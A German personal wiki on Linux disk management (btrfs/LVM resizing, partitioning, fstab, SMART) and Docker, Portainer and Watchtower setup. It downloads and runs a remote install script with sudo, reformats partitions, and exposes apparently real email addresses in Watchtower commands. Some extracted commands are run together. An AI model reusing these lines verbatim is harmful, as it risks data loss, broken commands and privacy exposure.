Another possible method to extend the disk space of a btrfs file system would be to add unused partitions from a disk. Please note that btrfs will treat these partitions (even if they come from the same device) as a separate physical volume and if later the file system should operate in RAID mode, chunks will be served from both partitions which is not desirable. In this case it is preferable to either add complete disks or delete unused partitions and resize the root volume where applicable.  
  
<u>**If the btrfs file system resides on multiple devices**</u>  
  
When a btrfs file system resides on mulitple devices, first determine the devid of resized partition, for example:</div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem show /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content">That will list all partitions in use, and number them. Then, for example, if the partition in question is devid 2, the appropriate command is:</div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem resize 2:max /
```

</main>

# Festplatten in Linux

## Linux: Festplatten und Partitionen im Terminal anzeigen

[Festplatten unter Linux prüfen](https://wiki.hhml.selfhost.co/books/linux/page/festplatten-unter-linux-prufen "Festplatten unter Linux prüfen")

### Wichtige Befehle

<div class="page-content" id="bkmrk-befehl-auswirkung-ls"><div class="page-content"><div dir="auto"><table border="1" id="bkmrk-befehl-auswirkung-ls-1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>**Befehl**</td><td>**Auswirkung**</td></tr><tr><td>`lsblk`</td><td>Übersichtliche Baumstrucktur aller Festplatten und Partitionen</td></tr><tr><td>`df -h`  
</td><td>Freien Speicherplatz anzeigen lassen </td></tr><tr><td>`sudo lvextend -l 100%VG ubuntu-vg/ubuntu-lv`</td><td>Weist den Speicherplatz der Partition zu  
Wenn   
sda3 30G   
- ubuntu--vg-ubuntu-vl 15G  
  
Danch sind die vollen 30G Ubuntu zugewiesen [und weiter](#bkmrk-ubuntu-server-part-e)</td></tr></tbody></table>

</div></div></div>### Formatieren

herausfinden welche Festplatte

###  Um in ext4 zu formatieren

```bash
mkfs.ext4 /dev/sdb1
```

### Partitionieren

<div class="page-content" id="bkmrk-%C3%B6ffnet-ein-terminal%2C"><div class="page-content"><div dir="auto">1. öffnet ein Terminal, indem ihr gleichzeitig die Tasten \*\*Strg + Alt + T \*\*drückt.
2. Der Befehl `lsblk` zeigt euch in einer Baumstruktur übersichtlich an, welche Partition zu welcher Festplatte gehört und wie groß sie sind.
3. Die erste Festplatte lautet sda. Ihre Partitionen lauten sda1, sda2, sda3 etc.
4. Die zweite Festplatte lautet sdb. Ihre Partitionen lauten sdb1, sdb2, sdb3 etc.
5. Der Befehl `blkid -o list` zeigt euch zusätzlich noch die UUID, den Dateisystemtyp und die Bezeichnung der Partition an (sofern vergeben).

</div></div></div>!\[Diese beiden Befehle geben euch eine Übersicht über eure Partitionen und Festplatten\]\[2\]

Diese beiden Befehle geben euch eine Übersicht über eure Partitionen und Festplatten

In unserem Beispiel hat unsere erste Festplatte sda folgende Partitionen:

<div class="page-content" id="bkmrk-sda1%3A-von-windows-an"><div class="page-content"><div dir="auto">- sda1: Von Windows angelegte Efi-Boot-System-Partition.
- sda2: Von Windows angelegte System-Reservierte-Partition.
- sda3: Partition, auf der Windows installiert ist (Bezeichnung: Windows).
- sda4: Partition, auf der Linux Mint installiert ist.
- sda5: SWAP-Partition für Linux Mint

</div></div></div>Die zweite Festplatte sdb hat nur eine Partition:

<div class="page-content" id="bkmrk-sdb1%3A-partition-f%C3%BCr-"><div class="page-content"><div dir="auto">- sdb1: Partition für Eigene Dateien, Programme und Spiele (Bezeichnung: Daten).

</div></div></div>**Alternative**

Alternative gebt ihr im Terminal `sudo fdisk -l` ein und bestätigt mit eurem Passwort. Nun seht ihr eine ähnliche hilfreiche Ansicht:

!\[Auch der Befehl zeigt eine strukturierte Übersicht an.\]\[2\]

Auch der Befehl zeigt eine strukturierte Übersicht an.

Beachtet, dass in der Spalte **Typ** nicht der Dateisystem-Typ gemeint ist, sondern eine manchmal recht ungenaue Bezeichnung.

*Hier findet ihr übrigens unsere Top-Software 2018 für Linux Mint:*

### Einbinden zusätzlicher Festplatten unter Linux

In diesem Tutorial möchten wir Ihnen zeigen, wie zusätzliche Festplatten unter Linux eingebunden und benutzt werden können.

Sollten Sie sich nicht sicher sein, ob Ihr Benutzer über die notwendigen Rechte verfügt, können Sie zu Beginn einer jeden SSH-Session das folgende Kommando ausführen:

> **sudo -i**

Nach Ausführung des Kommandos erhalten Sie weiterführende (Root-) Berechtigungen ohne das Kommando „sudo“ jedem Befehl auf der Kommandozeile voranstellen zu müssen.

Zunächst einmal verschaffen wir uns einen Überblick über alle Disks, welche vom System erkannt werden. Dies machen wir mit folgendem Befehl:

> **fdisk -l**

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/image.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/image.png)

In unserem Beispiel sind zwei Festplatten verbaut: **/dev/sda**, die Festplatte, auf der das System installiert ist, sowie **/dev/sdb**, eine zusätzliche 50 GiB-Festplatte, welche wir in unser Betriebssystem einbinden möchten. Die Festplattenbezeichnung kann variieren, je nachdem, wie viele Festplatten in Ihrem Server eingebaut sind.

Zunächst einmal müssen wir eine Partition erstellen sowie gegebenenfalls eine Partitionstabelle schreiben. Selbstverständlich können auch mehrere Partitionen erstellt und eingebunden werden, in diesem Beispiel möchten wir jedoch die ganze Kapazität der Festplatte für eine Partition nutzen.

Hierzu verwenden wir **cfdisk**, die grafische Version von **fdisk**.

> **cfdisk /dev/sdb**

Sollte auf der Festplatte noch keine Partitionstabelle vorhanden sein, öffnet sich nun ein Auswahlmenü:

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/918image.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/918image.png)

  
Für unser Beispiel wählen wir **dos**. Hiermit wird eine [MBR-Partitionstabelle](http://de.wikipedia.org/wiki/Master_Boot_Record) auf die Festplatte geschrieben (für Festplatten, welche die Kapazität von 2 TB übersteigen, müssten wir GPT verwenden, um die gesamte Kapazität nutzen zu können).  
Danach öffnet sich folgendes Fenster:

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/nNuimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/nNuimage.png)

  
Nun können wir unsere Partition(en) erstellen. Wir erstellen eine 50 GiB-Partition, indem wir **50G** eingeben und mit der **Enter-Taste** bestätigen.

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/6IAimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/6IAimage.png)

  
Im nachfolgenden Dialog wählen wir **primary**, um eine [Primäre Partition](http://de.wikipedia.org/wiki/Partition_%28Datentr%C3%A4ger%29#Prim.C3.A4re_und_erweiterte_Partitionen) anzulegen.

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/qbfimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/qbfimage.png)

  
Wir bestätigen das Ganze mit **Write** und tippen **yes** ein, um das Erstellen der Partition abzuschließen.

Um nun aber wirklich Daten auf die Festplatte schreiben zu können, müssen wir die angelegte Partition noch mit einem [Filesystem](http://de.wikipedia.org/wiki/Dateisystem) ausstatten. Wir wählen also **Quit**, um die Oberfläche von **cfdisk** zu verlassen und vergewissern uns zunächst, ob die Partition ordnungsgemäß angelegt wurde. Dies machen wir abermals mit folgendem Befehl:

> **fdisk -l**

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/CUhimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/CUhimage.png)

  
Unsere erstellte Partition wird als **/dev/sdb1** gelistet. Es ist also alles wie gewünscht verlaufen.  
Wir formatieren die Partition nun mit einem Filesystem, in unserem Beispiel [ext4](http://de.wikipedia.org/wiki/Ext4). Wir tippen folgendes in unsere Konsole ein:

> **mkfs.ext4 /dev/sdb1**

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/j2Rimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/j2Rimage.png)

Die Formatierung der Partition ist hiermit abgeschlossen. Um jetzt Dateien auf der Festplatte speichern zu können müssen wir die Partition in unser System einbinden.

Dazu erstellen wir einen neuen Ordner, alle Dateien, die nach Abschluss der Prozedur in diesen Ordner erstellt oder verschoben werden, werden auf der neuen Festplatte gespeichert. In unserem Beispiel verwenden wir den Namen **datastore** für unseren Ordner, der Name ist jedoch frei wählbar. Mit folgendem Befehl erstellen wir den Ordner:

> **mkdir /datastore**

Um die Partition nun in den erstellten Ordner einzubinden, benutzen wir folgenden Befehl:

> **mount /dev/sdb1 /datastore**

Unsere erstellte Partition ist nun in **/datastore** eingebunden.

Damit die Partition auch nach einem Neustart des Servers wieder automatisch eingebunden wird, müssen wir noch die [UUID](http://de.wikipedia.org/wiki/Universally_Unique_Identifier) unserer neuen Partition sowie eine Zeile in der **/etc/fstab** hinzufügen. Dazu führen wir zunächst folgenden Befehl aus:

> **blkid /dev/sdb1**

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/JKoimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/JKoimage.png)

Die UUID unserer Partition wird uns nun angezeigt. Diese kopieren wir uns ohne Anführungszeichen und öffnen die Datei **/etc/fstab**

> **nano /etc/fstab**

Mit den Pfeiltasten navigieren wir den Cursor an das Ende der Datei und fügen folgende Zeile hinzu:

> **UUID=d6ae62ff-c9b7-4a07-aea8-a36f55c5036d /datastore ext4 defaults 0 0**

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/scaled-1680-/0Foimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-03/0Foimage.png)

Die UUID ist natürlich mit der eigenen, mittels **blkid** ausgelesenen UUID zu ersetzen.

<div class="page-content" id="bkmrk--10"><div class="page-content"><div dir="auto"><div class="meta-content" id="bkmrk--11">  
</div></div></div></div>## Grafische Anzeige der Festplatten-Partitionen

<div class="page-content" id="bkmrk-%C3%96ffnet-das-startmen%C3%BC"><div class="page-content"><div dir="auto">1. Öffnet das Startmenü und öffnet das Programm **Systemüberwachung**.
2. Klickt oben auf den Reiter **Dateisysteme**.

</div></div></div>## Festplatten Analysieren

Unter Linux: Festplattenbelegung analysieren

wenn nicht installiert: `sudo apt-get install baobab`

### Alternative im Terminal

Eine Alternative wenn kein Desktop installiert ist, ist ncdu

```
sudo apt install ncdu
```

## Platzfresser auflisten

Welche Dateien und Ordner belegen den meisten Plattenplatz? Auf SSDs und auf Platinenrechnern mit SD-Karten ist diese Frage wieder aktueller denn je. Für die Antwort gibt es im Bash-Terminal zahlreiche Lösungen, unter anderem mit „find -size“ oder mit dem interaktiven Tool ncdu. Für wirklich frappierend schnelle Informationen sorgen die hier beschriebenen Kommandos.

```
du -S | sort -n -r | head -n 20
```

Schalter "-S" separiert die Ornder, damit nicht übergordnete Verzeichnisse automatisch zu Platzfressern werden, sondern tatsächlich die dafür verantwortlichen Unterodner. Nach der numerischen und absteigenden Sortierung(sort) liefert head schließlich die größten Ordner. Die Zahl - hier 20 - lässt sich beliebig definieren. Für das Auffinden der größten Einzeldateien ist das Tool tree, das eventuell mit gleichnamigem Paketnamen nachinstalliert werden muss, das Werkzeug der Wahl. Das geeignete Kommando

```
tree -isf | sort -n -r -k2 | head -n 20
```

ähnelt dem du-Befehl, nur dass hier die Dateigröße nach Spalte 2 (-k2) sortiert werden muss. Wichtigster Schalter bei tree ist -s für die Anzeige der Dateigröße, die anschließend weiterverarbeitet wird.

## Proxmox VM Speicherplatz erhöhen: 

### 1. Festplatte in Proxmox vergrößern

Zuerst musst du die virtuelle Festplatte in Proxmox selbst erweitern:

- Gehe in der Proxmox Web-UI zu deiner VM
- Wähle "Hardware" aus
- Klicke auf die Festplatte (z.B. scsi0 oder ide0)
- Klicke auf "Disk Action" → "Resize"
- Gib die zusätzliche Größe ein (z.B. +20G für 20GB mehr)

Alternativ per Kommandozeile auf dem Proxmox Host

```bash
qm resize <VM-ID> scsi0 +20G
```

### 2. Partition in Ubuntu erweitern

Jetzt muss Ubuntu die zusätzliche Größe erkennen und nutzen:

**Bei LVM (üblich bei Ubuntu Server):**

```bash
# Partition erweitern (z.B. /dev/sda3)
sudo growpart /dev/sda 3

# Physical Volume erweitern
sudo pvresize /dev/sda3

# Logical Volume erweitern
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv

# Dateisystem erweitern
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv  # für ext4
# oder
sudo xfs_growfs /  # für xfs
```

**Ohne LVM (einfache Partition):**

```bash
# Partition erweitern
sudo growpart /dev/sda 1

# Dateisystem erweitern
sudo resize2fs /dev/sda1  # für ext4
```

Mit `df -h` kannst du dann prüfen, ob die Erweiterung erfolgreich war.

<div class="page-content" id="bkmrk-version-%236-erstellt%3A"><div dir="auto">  
</div>---

<div class="text-muted text-small"><div class="entity-meta"><svg class="svg-icon" data-icon="history" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Version #6   
<svg class="svg-icon" data-icon="star" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Erstellt: 19 October 2022 10:41:58 von Herr_admin   
<svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Zuletzt aktualisiert: 5 December 2022 07:18:42 von hermann</div></div></div>

# Festplatten unter Linux prüfen

[Festplatten in Linux](https://wiki.hhml.selfhost.co/books/linux/page/festplatten-in-linux "Festplatten in Linux")

Den Status Deiner Festplatte mit smartmontools prüfen.<span id="bkmrk-"></span>

Neue SSD Festplatten haben eine begrenzte Haltbarkeit. Um diese zu erhöhen bietet sich **fstrim** an. fstrim gibt Speicher frei und sorgt dafür, dass nicht immer wieder die selben Bereiche Deiner Festplatte beschrieben werden. Daneben ist es ratsam, die Gesundheit Deiner Festplatte im Auge zu behalten. Die kannst Du am besten mit **smartmontools** prüfen.

Die Installation ist denkbar einfach. Bei den meisten Distributionen kann sie mit dem Paketmanager durchgeführt werden.

Installation unter Arch Linux und Ablegern, wie Manjaro:

```
sudo pacman -Syu
sudo pacman -S smartmontools
```

Installation unter Debian und Ablegern, wie Ubuntu:

```
 sudo apt install smartmontools
```

Einmal installiert, kannst Du Dir Infos zu Deiner Festplatte anzeigen lassen:

```bash
sudo smartctl -i /dev/nvme0n1
```

nvme0 musst Du mit Deiner Festplatte ersetzen. Falls Du nicht weisst, wo Deine Festplatte zu finden ist, kannst Du den Befehl **inxi** nutzen, um sie Dir anzeigen zu lassen.

```bash
inxi -d
```

Um **smartmontools** im nächsten Schritt verwenden zu können, sollte Deine Festplatte **S.M.A.R.T.** – Self-Monitoring, Analysis und Reporting Technology – unterstützen. Bei den meisten neuen Festplatten ist das der Fall. Falls Du nicht weisst, ob Deine Festplatte SMART unterstützt, kannst Du das durch den Aufruf:

```
 sudo smartctl -i /dev/nvme0n1 
```

Der Aufruf gibt Dir Informationen zu Deiner Festplatte aus. **nvme0n1** musst Du, wie gehabt, durch Deine Festplatte ersetzen.  
Steht am Ende der Ausgabe so etwas wie: **SMART support is: Available**, ist alles bestens. Andernfalls kannst Du SMART für die meisten modernen Festplatten einschalten. Das machst Du mit dem Aufruf:

```bash
sudo smartctl -s on /dev/nvme0n1
```

Und wieder ersetzt Du **nvme0n1** durch Deine Festplatte.

Jetzt ist es soweit, dass Du loslegen kannst. Es gibt drei Arten Deine Festplatte zu testen. Short, long und conveyance. Sie unterscheiden sich vor allem durch die Zeit, die benötigt wird. Empfehlenswert ist in den meisten Fällen **long  
sudo smartctl -c /dev/nvme0n1  
  
Für einen ausführlichen Test führt folgender Aufruf:**

```
sudo smartctl -t long /dev/nvme0n1
```

Alle Optionen erfährst Du in den Manpages:

```bash
man 8 smartctl 
man 8 smartd 
man 8 update-smart-drivedb 
man smartd.conf
```

Oder gehst auf die Seite: [https://www.smartmontools.org/wiki](https://www.smartmontools.org/wiki).

Zum Abschluss noch ein paar Sätze zu **fstrim**. Mit dem Tool kannst Du erst einmal schauen, was passiert, bevor Du es ausführst. Der Aufruf:

```bash
sudo fstrim --fstab --verbose --dry-run
```

führt einen Trockenlauf durch. Wenn alles in Ordnung ist, erfolgt der Aufruf nochmals ohne der Option **–dry-run**. Möchtest Du, dass **fstrim** bei jedem Neustart Deines Rechners automatisch ausgeführt wird, kannst Du Service mit systemctl einrichten.

```
 sudo systemctl enable fstrim.timer
```

# Linux Festplatte untersuchen

## Installieren

```c++
sudo apt install ncdu
```

## Verwendung

```
ncdu /home/
```

# Docker

# Docker Befehle

Docker Befehle

<div class="page-content" id="bkmrk-befehl-beschreibung-"><div dir="auto"><table id="bkmrk-befehl-beschreibung--1"><thead><tr><th>Befehl</th><th>Beschreibung</th></tr></thead><tbody><tr><td>docker start $container</td><td>startet den jeweiligen Container</td></tr><tr><td>docker container ls</td><td>running containers</td></tr><tr><td>docker container ls -a</td><td>all containers</td></tr></tbody></table>

</div></div>

# Docker Einführung

<div class="js-gist-file-update-container js-task-list-container" id="bkmrk-docker-installieren%3A"><div class="file my-2"><div class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"><article class="markdown-body entry-content container-lg">## Docker installieren:

```
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh ./get-docker.sh

```

Falls kein curl installiert: `apt install curl`

Wenn man nicht mit dem Nutzer Root arbeitet, sollte man den aktuellen Benutzer berechtigen:

```
sudo usermod -aG docker $USER

```

## Mit Docker arbeiten

- Laufende Container auflisten: `docker ps`
- Alle Container auflisten (auch gestoppte): `docker ps -a`
- Einen Container anhalten: `docker stop <Containername>` (den Namen findet man mit `docker ps heraus`)
- Einen gestoppten Container endgültig löschen: `docker rm <Containername>`

## Einen simplen Webserver starten

Der Container aus dem Image nginx fährt mit folgendem Befehl hoch:

```
docker run -p 80:80 nginx

```

Die eigene IP-Adresse erhält man mit `ip a`

## Arbeiten mit Docker-Compose

Legt euch am besten einen eigenen Ordner für das Docker-Projekt an, um Ordnung zu halten. Die Datei docker-compose.yml enthält die Definition der Container.

Bearbeitet wird die Datei mit:

```
nano docker-compose.yml

```

Die Inhalte findet ihr unten in diesem GitHub-Gist. Den Texteditor Nano beendet man mit: `Strg+X`, dann `Y`

Die Compose-Zusammenstellung hochfahren:

```
docker-compose up -d

```

Will man die Container updaten, lädt man die neuen Images mit

```
docker-compose pull

```

## Eine oder mehrere Docker-Compose-Dateien?

Das ist definitiv Geschmachssache und hängt von der Umgebung ab. Wenn man mehr als ein Projekt (zum Beispiel einen Blog und ein Pihole) auf einem Server betreibt, sollte man für jedes einen Ordner anlegen und darin eine Docker-Compose-Datei ablegen. Die nützlichen Helfer wie Portainer und Watchtower kommen zusammen in eine weitere Datei. Dann kann man mit `docker compose down`gezielt Teile der Umgebung herunterfahren.

</article></div></div></div>```yaml
# Die Docker-Compose-Zusammenstellung für Pihole (https://hub.docker.com/r/pihole/pihole)
services:
  pihole:
    container_name: pihole
    image: pihole/pihole:latest
    ports:
      - "53:53/tcp"
      - "53:53/udp"
      - "67:67/udp"
      - "80:80/tcp"
    environment:
      TZ: 'Europe/Berlin'
      # WEBPASSWORD: 'set a secure password here or it will be random'
    volumes:
      - './etc-pihole:/etc/pihole'
      - './etc-dnsmasq.d:/etc/dnsmasq.d'
    cap_add:
      - NET_ADMIN
    restart: unless-stopped
```

<div class="js-gist-file-update-container js-task-list-container" id="bkmrk--1"><div class="file my-2" id="bkmrk--2"><div class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0" id="bkmrk--3"></div></div></div><div class="js-gist-file-update-container js-task-list-container" id="bkmrk--4"><div class="file my-2" id="bkmrk--5"><div class="file-header d-flex flex-md-items-center flex-items-start"></div></div></div>```yaml
# Docker-Compose-Datei für Portainer (https://hub.docker.com/r/portainer/portainer-ce). Antwortet auf Port 9000 des Servers
services:
  portainer: 
    image: portainer/portainer-ce 
    ports: 
     - 9000:9000 
    volumes: 
     - /var/run/docker.sock:/var/run/docker.sock 
     - ./portainer_data:/data 
    restart: always 
```

```yaml

# Docker-Compose-Datei für Watchtower (https://hub.docker.com/r/containrrr/watchtower)
services:
  watchtower:
    image: containrrr/watchtower
    volumes:
     - /var/run/docker.sock:/var/run/docker.sock
```

# Docker, Docker-Compose und Portainer installieren

<p class="callout info">Weitere Infos zu Docker: [Docker Einführung](https://wiki.hhml.selfhost.co/books/linux/page/docker-einfuhrung "Docker Einführung")</p>

```
sudo apt update && sudo apt upgrade -y
```

## Docker Installation auf Ubuntu

Führe folgende Befehle als root bzw. mit sudo aus:

1. Alle alten Docker-Pakete entfernen (optional, falls vorher installiert):
    
    
    1. ```
        sudo apt-get remove docker docker-engine docker.io containerd runc
        ```
2. Installationsskript herunterladen und ausführbar machen:
    
    <div class="w-full md:max-w-[90vw]"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="translate-y-xs -translate-x-xs bottom-xl mb-xl flex h-0 items-start justify-end md:sticky md:top-[100px]">  
    </div><div class="-mt-xl"><div>`curl -fsSL https://get.docker.com -o get-docker.shchmod +x get-docker.sh`</div></div></div></div>
3. Docker installieren:
    
    <div class="w-full md:max-w-[90vw]"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="translate-y-xs -translate-x-xs bottom-xl mb-xl flex h-0 items-start justify-end md:sticky md:top-[100px]"><div class="overflow-hidden rounded-full border-subtlest ring-subtlest divide-subtlest bg-base">  
    </div></div><div class="-mt-xl"><div>`sudo sh ./get-docker.sh`</div></div></div></div>
4. Docker-Status prüfen:
    
    <div class="w-full md:max-w-[90vw]"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="translate-y-xs -translate-x-xs bottom-xl mb-xl flex h-0 items-start justify-end md:sticky md:top-[100px]"><div class="overflow-hidden rounded-full border-subtlest ring-subtlest divide-subtlest bg-base">  
    </div></div><div class="-mt-xl"><div>`sudo systemctl status docker`</div></div></div></div>

Du kannst die Gruppenrechte für deinen User noch anpassen, um Docker ohne sudo verwenden zu können:

<div class="w-full md:max-w-[90vw]" id="bkmrk-sudo-usermod--ag-doc"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="translate-y-xs -translate-x-xs bottom-xl mb-xl flex h-0 items-start justify-end md:sticky md:top-[100px]"><div class="overflow-hidden rounded-full border-subtlest ring-subtlest divide-subtlest bg-base">  
</div></div><div class="-mt-xl"><div>`sudo usermod -aG docker $USER`</div></div></div></div>Danach ab- und neu anmelden.

## <s>Docker Compose Installation</s>

Empfohlen wird das aktuelle Compose-Plugin via apt oder als Binary:

**Variante 1: Über das Docker Compose Plugin (apt-basiert):**

1. Repository aktualisieren:
    
    <div class="w-full md:max-w-[90vw]"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="-mt-xl"><div>`sudo apt-get updatesudo apt-get install docker-compose-plugin`</div></div></div></div>
2. Installation prüfen:
    
    <div class="w-full md:max-w-[90vw]"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded font-mono text-sm font-normal bg-subtler"><div class="-mt-xl"><div>`docker compose version`</div></div></div></div>

## 4. Portainer installieren

```
docker volume create portainer_data
```

```
docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest
```

Fertig!

<div class="page-content" id="bkmrk-version-%237-erstellt%3A"><div dir="auto">  
</div>---

<div class="text-muted text-small"><div class="entity-meta"><svg class="svg-icon" data-icon="history" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Version #7   
<svg class="svg-icon" data-icon="star" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Erstellt: 19 October 2022 08:30:05 von hermann   
<svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Zuletzt aktualisiert: 2 November 2022 10:08:43 von hermann</div></div></div>

# Watchtower

<p class="callout info">Watchtower aktuallisiert auch regelmäßig die Docker Container</p>

#### [Einmal ausführen](#bkmrk-einmal-ausf%C3%BChren)

```bash
docker run --rm \
--name watchtower \
-v /var/run/docker.sock:/var/run/docker.sock \
-e WATCHTOWER_NOTIFICATIONS=email \
-e WATCHTOWER_NOTIFICATION_EMAIL_FROM=hermann.pelzer@mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_TO=hp1984@posteo.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=hermann.pelzer \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=************ \
-e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \
containrrr/watchtower \
--run-once \
--cleanup \
--include-restarting \
--rolling-restart \
--include-stopped
```

#### Regelmäßig ausführen

```bash
docker run -it -d \
--name watchtower \
-v /var/run/docker.sock:/var/run/docker.sock \
-e WATCHTOWER_NOTIFICATIONS=email \
-e WATCHTOWER_NOTIFICATION_EMAIL_FROM=hermann.pelzer@mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_TO=hp1984@posteo.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=hermann.pelzer \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=************* \
-e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \
containrrr/watchtower:latest \
--cleanup \
--include-restarting \
--rolling-restart \
--include-stopped \
--interval 43200
```

<div class="page-content" id="bkmrk-version-%239-erstellt%3A"><div dir="auto">  
</div>---

<div class="text-muted text-small"><div class="entity-meta"><svg class="svg-icon" data-icon="history" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Version #9   
<svg class="svg-icon" data-icon="star" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Erstellt: 19 October 2022 10:58:22 von Herr_admin   
<svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Zuletzt aktualisiert: 25 October 2022 17:30:18 von hermann</div></div></div>

# Fedora

# Bazzite

### Update über das Terminal

1. **Öffne das Terminal**: Du kannst das Terminal entweder über das Menü oder durch Drücken von `Ctrl + Alt + T` öffnen.
2. **Führe den Update-Befehl aus**: Gib den folgenden Befehl ein und drücke `Enter`:
    
    <div class="XG2rBS5V967VhGTCEN1k"><div class="nHykNMmtaaTJMjgzStID"><div class="HsT0RHFbNELC00WicOi8">*<svg fill="none" height="16" width="16" xmlns="http://www.w3.org/2000/svg"></svg>*</div></div></div>

```bash
sudo ujust update
```

- Dies aktualisiert die Liste der verfügbaren Pakete.
- **Führe das Upgrade durch**: Nach dem Update-Befehl, um die installierten Pakete zu aktualisieren, benutze:
    
    <div class="XG2rBS5V967VhGTCEN1k"><div class="nHykNMmtaaTJMjgzStID"><div class="HsT0RHFbNELC00WicOi8">*<svg fill="none" height="16" width="16" xmlns="http://www.w3.org/2000/svg"></svg>*</div></div></div>

```bash
sudo ujust upgrade
```

- Bestätige den Vorgang, wenn du dazu aufgefordert wirst.
- **Neustart**: Nach dem Abschluss des Updates ist es meist eine gute Idee, das System neu zu starten, um sicherzustellen, dass alle Änderungen wirksam werden.

```bash
cat /etc/os-release
```

Anzeige der Installierten Version von bazzite

**Typische Befehle für Bazzite Linux (Fedora Silverblue‑basiert)**

- `rpm-ostree install <paket>` – Pakete systemweit hinzufügen (Transaktion via rpm‑ostree).
- `rpm-ostree uninstall <paket>` – Installierte Pakete wieder entfernen.
- `rpm-ostree upgrade` – Das gesamte System auf die neueste OS‑Version aktualisieren.
- `rpm-ostree rollback` – Zum vorherigen System‑Snapshot zurückkehren.
- `rpm-ostree status` – Aktuellen und vorherigen Deployments anzeigen.
- `rpm-ostree rebase <ref>` – Auf einen anderen OS‑Stream (z. B. `fedora/38/x86_64/silverblue`) umschalten.
- `flatpak install <remote> <app>` – Anwendungen per Flatpak hinzufügen.
- `flatpak uninstall <app>` – Flatpak‑Anwendungen entfernen.
- `flatpak update` – Alle installierten Flatpaks aktualisieren.
- `toolbox create` – Eine mutable Toolbox‑Umgebung (Podman‑Container) anlegen.
- `toolbox enter` – In die erstellte Toolbox‑Shell wechseln.
- `podman run …` – Container direkt mit Podman starten (z. B. für Entwicklungsumgebungen).
- `dnf install <paket>` – Nur innerhalb einer Toolbox/Container nutzbar, um klassische RPM‑Pakete zu installieren.
- `systemctl reboot` / `systemctl poweroff` – System neu starten bzw. herunterfahren.

# Paketmanager in Fedora DNF

# Using the DNF software package manager

<div class="is-before-toc text-xs text-gray-400 border-b border-gray-300 mb-6 pb-1" id="bkmrk-">  
